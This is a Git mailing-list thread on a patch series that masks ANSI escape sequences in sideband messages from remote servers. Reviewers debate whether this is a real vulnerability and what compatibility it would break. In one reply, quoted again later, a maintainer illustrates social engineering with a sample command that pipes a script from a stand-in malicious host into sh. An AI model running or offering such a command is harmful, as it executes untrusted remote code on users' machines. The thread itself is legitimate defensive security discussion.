[PATCH 0/3] Sanitize sideband channel messages

[PATCH 0/3] Sanitize sideband channel messages

[Johannes Schindelin via GitGitGadget]

When a clone fails, users naturally turn to the output of the git
clone command. To assist in such scenarios, the output includes the messages
from the remote git pack-objects process, delivered via what Git calls the
"sideband channel."

Given that the remote server is, by nature, remote, there is no guarantee
that it runs an unmodified Git version. This exposes Git to ANSI escape
sequence injection (see
CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
terminal state, hide information, and even insert characters into the input
buffer (as if the user had typed those characters).

This patch series addresses this vulnerability by sanitizing the sideband
channel.

It is important to note that the lack of sanitization in the sideband
channel is already "exploited" by the Git user community, albeit in
well-intentioned ways. For instance, certain server-side hooks use ANSI
color sequences in error messages to make them more noticeable during
intentional failed fetches, e.g. as seen at
https://github.com/kikeonline/githook-explode and
https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php

To accommodate such use cases, Git will allow ANSI color sequences to pass
through by default, while presenting all other ASCII control characters in a
common form (e.g., presenting the ESC character as ^[).

This vulnerability was reported to the Git security mailing list in early
November, along with these fixes, as part of an iteration of the patches
that led to the coordinated security release on Tuesday, January 14th, 2025.

While Git for Windows included these fixes in v2.47.1(2), the consensus,
apart from one reviewer, was not to include them in Git's embargoed
versions. The risk was considered too high to disrupt existing scenarios
that depend on control characters received via the sideband channel being
sent verbatim to the user's terminal emulator.

Several reviewers suggested advising terminal emulator writers about these
"quality of implementation issues" instead. I was quite surprised by this
approach, as it seems overly optimistic to assume that terminal emulators
could distinguish between control characters intentionally sent by Git and
those unintentionally relayed from the remote server.

Please note that this patch series applies cleanly on top of v2.47.2. To
apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
security releases), the calls to test_grep need to be replaced with calls
to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
replaced with calls to git_config_get_string().

Johannes Schindelin (3):
  sideband: mask control characters
  sideband: introduce an "escape hatch" to allow control characters
  sideband: do allow ANSI color sequences by default

 Documentation/config.txt            |  2 +
 Documentation/config/sideband.txt   | 16 ++++++
 sideband.c                          | 78 ++++++++++++++++++++++++++++-
 t/t5409-colorize-remote-messages.sh | 30 +++++++++++
 4 files changed, 124 insertions(+), 2 deletions(-)
 create mode 100644 Documentation/config/sideband.txt


base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1
Pull-Request: https://github.com/gitgitgadget/git/pull/1853
-- 
gitgitgadget

[PATCH 1/3] sideband: mask control characters

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The output of `git clone` is a vital component for understanding what
has happened when things go wrong. However, these logs are partially
under the control of the remote server (via the "sideband", which
typically contains what the remote `git pack-objects` process sends to
`stderr`), and is currently not sanitized by Git.

This makes Git susceptible to ANSI escape sequence injection (see
CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows
attackers to corrupt terminal state, to hide information, and even to
insert characters into the input buffer (i.e. as if the user had typed
those characters).

To plug this vulnerability, disallow any control character in the
sideband, replacing them instead with the common `^<letter/symbol>`
(e.g. `^[` for `\x1b`, `^A` for `\x01`).

There is likely a need for more fine-grained controls instead of using a
"heavy hammer" like this, which will be introduced subsequently.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 sideband.c                          | 17 +++++++++++++++--
 t/t5409-colorize-remote-messages.sh | 12 ++++++++++++
 2 files changed, 27 insertions(+), 2 deletions(-)

diff --git a/sideband.c b/sideband.c
index 02805573fab..c0b1cb044a3 100644
--- a/sideband.c
+++ b/sideband.c
@@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
+{
+	strbuf_grow(dest, n);
+	for (; n && *src; src++, n--) {
+		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
+			strbuf_addch(dest, *src);
+		else {
+			strbuf_addch(dest, '^');
+			strbuf_addch(dest, 0x40 + *src);
+		}
+	}
+}
+
 /*
  * Optionally highlight one keyword in remote output if it appears at the start
  * of the line. This should be called for a single line only, which is
@@ -80,7 +93,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)
 	int i;
 
 	if (!want_color_stderr(use_sideband_colors())) {
-		strbuf_add(dest, src, n);
+		strbuf_add_sanitized(dest, src, n);
 		return;
 	}
 
@@ -113,7 +126,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)
 		}
 	}
 
-	strbuf_add(dest, src, n);
+	strbuf_add_sanitized(dest, src, n);
 }
 
 
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 516b22fd963..61126e2b167 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -99,4 +99,16 @@ test_expect_success 'fallback to color.ui' '
 	grep "<BOLD;RED>error<RESET>: error" decoded
 '
 
+test_expect_success 'disallow (color) control sequences in sideband' '
+	write_script .git/color-me-surprised <<-\EOF &&
+	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
+	exec "$@"
+	EOF
+	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
+	test_commit need-at-least-one-commit &&
+	git clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
+	test_grep ! RED decoded
+'
+
 test_done
-- 
gitgitgadget

Re: [PATCH 1/3] sideband: mask control characters

[Phillip Wood]

Hi Dscho

Just a couple of small comments

On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> From: Johannes Schindelin <johannes.schindelin@gmx.de>
> 
> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> +	strbuf_grow(dest, n);
> +	for (; n && *src; src++, n--) {
> +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')

Isn't it a bug to pass '\n' to maybe_colorize_sideband() ?

> +			strbuf_addch(dest, *src);
> +		else {
> +			strbuf_addch(dest, '^');
> +			strbuf_addch(dest, 0x40 + *src);

This will escape DEL ('\x7f') as "^\xbf" which is invalid in utf-8 
locales. Perhaps we could use "^?" for that instead.

> +test_expect_success 'disallow (color) control sequences in sideband' '
> +	write_script .git/color-me-surprised <<-\EOF &&
> +	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
> +	exec "$@"
> +	EOF
> +	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
> +	test_commit need-at-least-one-commit &&
> +	git clone --no-local . throw-away 2>stderr &&
> +	test_decode_color <stderr >decoded &&
> +	test_grep ! RED decoded

I'd be happier if we used test_cmp() here so that we check that the 
sanitized version matches what we expect and the test does not pass if 
there a typo in the script above stops it from writing the SGR code for red.

Best Wishes

Phillip

Re: [PATCH 1/3] sideband: mask control characters

[Andreas Schwab]

On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:

> diff --git a/sideband.c b/sideband.c
> index 02805573fab..c0b1cb044a3 100644
> --- a/sideband.c
> +++ b/sideband.c
> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
>  		list_config_item(list, prefix, keywords[i].keyword);
>  }
>  
> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> +	strbuf_grow(dest, n);
> +	for (; n && *src; src++, n--) {
> +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')

The argument of iscntrl needs to be converted to unsigned char.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA AEC1
"And now for something completely different."

Re: [PATCH 1/3] sideband: mask control characters

[Junio C Hamano]

Andreas Schwab <schwab@linux-m68k.org> writes:

> On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:
>
>> diff --git a/sideband.c b/sideband.c
>> index 02805573fab..c0b1cb044a3 100644
>> --- a/sideband.c
>> +++ b/sideband.c
>> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
>>  		list_config_item(list, prefix, keywords[i].keyword);
>>  }
>>  
>> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
>> +{
>> +	strbuf_grow(dest, n);
>> +	for (; n && *src; src++, n--) {
>> +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
>
> The argument of iscntrl needs to be converted to unsigned char.

If this were system-provided one, you are absolutely correct.

But I think this comes from 

sane-ctype.h:15:#undef iscntrl
sane-ctype.h:40:#define iscntrl(x) (sane_istest(x,GIT_CNTRL))

and sane_istest() does the casting to uchar for us, so this may be
OK (even if it may be a bit misleading).

[PATCH 2/3] sideband: introduce an "escape hatch" to allow control characters

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The preceding commit fixed the vulnerability whereas sideband messages
(that are under the control of the remote server) could contain ANSI
escape sequences that would be sent to the terminal verbatim.

However, this fix may not be desirable under all circumstances, e.g.
when remote servers deliberately add coloring to their messages to
increase their urgency.

To help with those use cases, give users a way to opt-out of the
protections: `sideband.allowControlCharacters`.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config.txt            |  2 ++
 Documentation/config/sideband.txt   |  5 +++++
 sideband.c                          | 10 ++++++++++
 t/t5409-colorize-remote-messages.sh |  8 +++++++-
 4 files changed, 24 insertions(+), 1 deletion(-)
 create mode 100644 Documentation/config/sideband.txt

diff --git a/Documentation/config.txt b/Documentation/config.txt
index 8c0b3ed8075..48870bb588e 100644
--- a/Documentation/config.txt
+++ b/Documentation/config.txt
@@ -522,6 +522,8 @@ include::config/sequencer.txt[]
 
 include::config/showbranch.txt[]
 
+include::config/sideband.txt[]
+
 include::config/sparse.txt[]
 
 include::config/splitindex.txt[]
diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
new file mode 100644
index 00000000000..3fb5045cd79
--- /dev/null
+++ b/Documentation/config/sideband.txt
@@ -0,0 +1,5 @@
+sideband.allowControlCharacters::
+	By default, control characters that are delivered via the sideband
+	are masked, to prevent potentially unwanted ANSI escape sequences
+	from being sent to the terminal. Use this config setting to override
+	this behavior.
diff --git a/sideband.c b/sideband.c
index c0b1cb044a3..b38a869c7b5 100644
--- a/sideband.c
+++ b/sideband.c
@@ -25,6 +25,8 @@ static struct keyword_entry keywords[] = {
 	{ "error",	GIT_COLOR_BOLD_RED },
 };
 
+static int allow_control_characters;
+
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
 {
@@ -38,6 +40,9 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
+	git_config_get_bool("sideband.allowcontrolcharacters",
+			    &allow_control_characters);
+
 	if (!git_config_get_string_tmp(key, &value))
 		use_sideband_colors_cached = git_config_colorbool(key, value);
 	else if (!git_config_get_string_tmp("color.ui", &value))
@@ -67,6 +72,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 
 static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
+	if (allow_control_characters) {
+		strbuf_add(dest, src, n);
+		return;
+	}
+
 	strbuf_grow(dest, n);
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 61126e2b167..5806e5a67b3 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -106,9 +106,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 	EOF
 	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
 	test_commit need-at-least-one-commit &&
+
 	git clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
-	test_grep ! RED decoded
+	test_grep ! RED decoded &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
+	test_grep RED decoded
 '
 
 test_done
-- 
gitgitgadget

[PATCH 3/3] sideband: do allow ANSI color sequences by default

[Johannes Schindelin via GitGitGadget]

From: Johannes Schindelin <johannes.schindelin@gmx.de>

The preceding two commits introduced special handling of the sideband
channel to neutralize ANSI escape sequences before sending the payload
to the terminal, and `sideband.allowControlCharacters` to override that
behavior.

However, some `pre-receive` hooks that are actively used in practice
want to color their messages and therefore rely on the fact that Git
passes them through to the terminal.

In contrast to other ANSI escape sequences, it is highly unlikely that
coloring sequences can be essential tools in attack vectors that mislead
Git users e.g. by hiding crucial information.

Therefore we can have both: Continue to allow ANSI coloring sequences to
be passed to the terminal, and neutralize all other ANSI escape
sequences.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
---
 Documentation/config/sideband.txt   | 17 ++++++--
 sideband.c                          | 61 ++++++++++++++++++++++++++---
 t/t5409-colorize-remote-messages.sh | 16 +++++++-
 3 files changed, 84 insertions(+), 10 deletions(-)

diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt
index 3fb5045cd79..f347fd6b330 100644
--- a/Documentation/config/sideband.txt
+++ b/Documentation/config/sideband.txt
@@ -1,5 +1,16 @@
 sideband.allowControlCharacters::
 	By default, control characters that are delivered via the sideband
-	are masked, to prevent potentially unwanted ANSI escape sequences
-	from being sent to the terminal. Use this config setting to override
-	this behavior.
+	are masked, except ANSI color sequences. This prevents potentially
+	unwanted ANSI escape sequences from being sent to the terminal. Use
+	this config setting to override this behavior:
++
+--
+	color::
+		Allow ANSI color sequences, line feeds and horizontal tabs,
+		but mask all other control characters. This is the default.
+	false::
+		Mask all control characters other than line feeds and
+		horizontal tabs.
+	true::
+		Allow all control characters to be sent to the terminal.
+--
diff --git a/sideband.c b/sideband.c
index b38a869c7b5..9763dea0531 100644
--- a/sideband.c
+++ b/sideband.c
@@ -25,7 +25,11 @@ static struct keyword_entry keywords[] = {
 	{ "error",	GIT_COLOR_BOLD_RED },
 };
 
-static int allow_control_characters;
+static enum {
+	ALLOW_NO_CONTROL_CHARACTERS = 0,
+	ALLOW_ALL_CONTROL_CHARACTERS = 1,
+	ALLOW_ANSI_COLOR_SEQUENCES = 2
+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
 
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
@@ -40,8 +44,24 @@ static int use_sideband_colors(void)
 	if (use_sideband_colors_cached >= 0)
 		return use_sideband_colors_cached;
 
-	git_config_get_bool("sideband.allowcontrolcharacters",
-			    &allow_control_characters);
+	switch (git_config_get_maybe_bool("sideband.allowcontrolcharacters", &i)) {
+	case 0: /* Boolean value */
+		allow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :
+			ALLOW_NO_CONTROL_CHARACTERS;
+		break;
+	case -1: /* non-Boolean value */
+		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
+					      &value))
+			; /* huh? `get_maybe_bool()` returned -1 */
+		else if (!strcmp(value, "color"))
+			allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
+		else
+			warning(_("unrecognized value for `sideband."
+				  "allowControlCharacters`: '%s'"), value);
+		break;
+	default:
+		break; /* not configured */
+	}
 
 	if (!git_config_get_string_tmp(key, &value))
 		use_sideband_colors_cached = git_config_colorbool(key, value);
@@ -70,9 +90,37 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)
+{
+	int i;
+
+	/*
+	 * Valid ANSI color sequences are of the form
+	 *
+	 * ESC [ [<n> [; <n>]*] m
+	 */
+
+	if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
+	    n < 3 || src[0] != '\x1b' || src[1] != '[')
+		return 0;
+
+	for (i = 2; i < n; i++) {
+		if (src[i] == 'm') {
+			strbuf_add(dest, src, i + 1);
+			return i;
+		}
+		if (!isdigit(src[i]) && src[i] != ';')
+			break;
+	}
+
+	return 0;
+}
+
 static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
-	if (allow_control_characters) {
+	int i;
+
+	if (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {
 		strbuf_add(dest, src, n);
 		return;
 	}
@@ -81,7 +129,10 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
 			strbuf_addch(dest, *src);
-		else {
+		else if ((i = handle_ansi_color_sequence(dest, src, n))) {
+			src += i;
+			n -= i;
+		} else {
 			strbuf_addch(dest, '^');
 			strbuf_addch(dest, 0x40 + *src);
 		}
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 5806e5a67b3..98c575e2e7f 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -101,7 +101,7 @@ test_expect_success 'fallback to color.ui' '
 
 test_expect_success 'disallow (color) control sequences in sideband' '
 	write_script .git/color-me-surprised <<-\EOF &&
-	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
+	printf "error: Have you \\033[31mread\\033[m this?\\a\\n" >&2
 	exec "$@"
 	EOF
 	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
@@ -109,12 +109,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 
 	git clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
+	test_grep RED decoded &&
+	test_grep "\\^G" stderr &&
+	tr -dc "\\007" <stderr >actual &&
+	test_must_be_empty actual &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters=false \
+		clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >decoded &&
 	test_grep ! RED decoded &&
+	test_grep "\\^G" stderr &&
 
 	rm -rf throw-away &&
 	git -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&
 	test_decode_color <stderr >decoded &&
-	test_grep RED decoded
+	test_grep RED decoded &&
+	tr -dc "\\007" <stderr >actual &&
+	test_file_not_empty actual
 '
 
 test_done
-- 
gitgitgadget

Re: [PATCH 0/3] Sanitize sideband channel messages

[brian m. carlson]

[-- Attachment #1: Type: text/plain, Size: 5777 bytes --]

On 2025-01-14 at 18:19:29, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
> 
> Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information, and even insert characters into the input
> buffer (as if the user had typed those characters).

I could certainly be mistaken, but I believe the report feature (e.g.,
title report), which is disabled for security reasons on all major
terminal emulators, is the only feature that can be used to adjust the
input buffer.  If there are others, then those would definitely be
vulnerability in the terminal emulator, which is the place they should be
fixed.

> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
> 
> It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> 
> To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
> 
> This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.

I think there is some disagreement as to whether this constitutes a
vulnerability.  I personally don't agree with that characterization, and
a CWE is a type of weakness, not a vulnerability.

Note that all of these problems could also occur by SSHing into an
untrusted server, running `curl` without redirecting output, or running
`cat` on a specially crafted file at the command line.  It is
specifically expected that people use SSH to log into untrusted or
partially-trusted machines, so this is not just a thought exercise.
None of those cases would be addressed by this series.

> While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
> 
> Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.

I've done some analysis of this approach after discussion on the
security list and I don't think we should adopt it, as I mentioned
there.

Where pre-receive hooks are available, people frequently run various
commands to test and analyze code in them, including build or static
analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
wide variety of escape sequences in its output, including `\e[K`, which
overwrites text to the right (e.g., for progress bars and status output
much like Git produces), and sequences for hyperlinks.  Stripping these
sequences would break the output in ways that would be confusing to the
user (since they work fine in a regular terminal) and hard to
reproduce or fix.

There are a variety of other terminal sequences that I have also seen
practically used here which would also be broken.  Other sequences that
could usefully be sent (but I have not seen practically implemented)
include sixel codes (which are a type of image format) that could be
used to display QR codes for purposes such as tracking CI jobs or
providing a "receipt" of code pushed.

I agree that this would have been a nice feature to add at the beginning
of the development of the sideband feature, but I fear that it is too
late to make an incompatible change now.

I realize that you've provided an escape hatch, but as we've seen with
other defense-in-depth measures, that doesn't avoid the inconvenience
and hassle of dealing with those changes and the costs of deploying
fixes everywhere.  We need to consider the costs and impact of these
patches on our users, including the burden of dealing with incompatible
changes, and given the fact that this problem can occur in a wide
variety of other contexts which you are not solving here and which would
be better solved more generally in terminal emulators themselves, I
don't think the benefits of this approach outweigh the downsides.

I do agree that there are terminal emulators which have some surprising
and probably insecure behaviour, as we've discussed in the past, but
because I believe those issues are more general and could be a problem
for any terminal-using program, I continue to believe that those issues
are best addressed in the terminal emulator itself.
-- 
brian m. carlson (they/them or he/him)
Toronto, Ontario, CA

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 263 bytes --]

Re: [PATCH 0/3] Sanitize sideband channel messages

[Junio C Hamano]

"brian m. carlson" <sandals@crustytoothpaste.net> writes:

> Where pre-receive hooks are available, people frequently run various
> commands to test and analyze code in them, including build or static
> analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> wide variety of escape sequences in its output, including `\e[K`, which
> overwrites text to the right (e.g., for progress bars and status output
> much like Git produces), and sequences for hyperlinks.  Stripping these
> sequences would break the output in ways that would be confusing to the
> user (since they work fine in a regular terminal) and hard to
> reproduce or fix.

You have ruled out the attack vector that lets bytestream sent to
the terminal emulator to somehow cause arbitrary input bytes added
(which may require the final <ENTER> from the user but that is not
much of consolation), and I tend to agree with you on that point.

With that misfeature out of the picture, I am not sure why terminal
escape sequences that may clear or write-over things on the screen
are of particular interest.  If the malicious remote end says
something like

    To proceed, open another window and type this command:

	$ curl https://my.malicious.xz/install.sh | sh

to its output, even if the message is shown with the "remote: "
prefix on the receiving local client, wouldn't that cause certain
percentage of end-user population to copy-and-paste that command
anyway?

> I agree that this would have been a nice feature to add at the beginning
> of the development of the sideband feature, but I fear that it is too
> late to make an incompatible change now.

So I am not so sure even it would have been a "nice feature" to disallow
sideband messages to carry terminal escape sequences to begin with.

> I realize that you've provided an escape hatch, but as we've seen with
> other defense-in-depth measures, that doesn't avoid the inconvenience
> and hassle of dealing with those changes and the costs of deploying
> fixes everywhere.

One more thing that I am not so happy about these "escape hatches"
is that they tend to be all or nothing (not limited to this round,
but common to other defense-in-depth attempts).  Having to say "I
trust them completely" is something that would make people uneasy.

> We need to consider the costs and impact of these
> patches on our users, including the burden of dealing with incompatible
> changes, and given the fact that this problem can occur in a wide
> variety of other contexts which you are not solving here and which would
> be better solved more generally in terminal emulators themselves, I
> don't think the benefits of this approach outweigh the downsides.
>
> I do agree that there are terminal emulators which have some surprising
> and probably insecure behaviour, as we've discussed in the past, but
> because I believe those issues are more general and could be a problem
> for any terminal-using program, I continue to believe that those issues
> are best addressed in the terminal emulator itself.

Re: [PATCH 0/3] Sanitize sideband channel messages

[Ondrej Pohorelsky]

Hi,
I see that CVE-2024-52005 [0] has been assigned to this issue. From
the discussion, it seems the fix may not be shipped in the near
future, if at all.

Could you please confirm if I understand this correctly? Specifically,
that this is not being treated as a vulnerability and that the
proposed fix might introduce regressions for certain use cases?
We are bound by SLAs and need to decide soon whether to provide fixed
versions of Git in RHEL. Having clarity on the upstream stance would
be very helpful for our decision. Right now, we are inclined not to
ship these fixes unless they are accepted upstream.

[0] https://github.com/git/git/security/advisories/GHSA-7jjc-gg6m-3329


Best regards,
Ondřej Pohořelský


On Thu, Jan 16, 2025 at 7:47 AM Junio C Hamano <gitster@pobox.com> wrote:
>
> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
>
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks.  Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
>
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.
>
> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest.  If the malicious remote end says
> something like
>
>     To proceed, open another window and type this command:
>
>         $ curl https://my.malicious.xz/install.sh | sh
>
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?
>
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
>
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
>
> > I realize that you've provided an escape hatch, but as we've seen with
> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
>
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts).  Having to say "I
> trust them completely" is something that would make people uneasy.
>
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
>


-- 

Ondřej Pohořelský

Software Engineer

Red Hat

opohorel@redhat.com

Re: [PATCH 0/3] Sanitize sideband channel messages

[Junio C Hamano]

Ondrej Pohorelsky <opohorel@redhat.com> writes:

> From
> the discussion, it seems the fix may not be shipped in the near
> future, if at all.

A patchset was sent, one person assessed that it is not solving the
right problem and introduces regressions, another person agreed.

It is not quite a discussion (yet) and I think there could be more
convincing argument for accepting regressions made, so I personally
feel that it is too early to call it settled yet, but without seeing
any further counter-arguments, I agree with you that things seem
that way.

Thanks.

Re: [PATCH 0/3] Sanitize sideband channel messages

[Phillip Wood]

Hi Dscho

On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
> 
> Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information,

I agree we should think about preventing an untrusted remote process 
from making it look like its messages come from the trusted local 
process. At best it is confusing and at worst it might trick a user into 
running a malicious command if they think the message came from the 
local git process. We need to be careful not to break existing 
legitimate output though. Brian has already highlighted the need to 
support '\e[K' (clear to the end of the current line), we may also want 
to treat '\e[G' (move to column 1 on the current line) as '\r' in 
addition to SGR escapes in the last patch.

> and even insert characters into the input
> buffer (as if the user had typed those characters).

Maybe I've missed something but my understanding from the link above is 
that this is a non-issue for terminal emulators released in the last 20 
years. In any case I think that that is a security bug in the emulator 
and should be fixed there as it has been in the past. I found [1] to be 
much more informative than the mitre link above about the actual 
vulnerabilities.

Best Wishes

Phillip

[1] https://marc.info/?l=bugtraq&m=104612710031920

> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
> 
> It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> 
> To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
> 
> This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.
> 
> While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
> 
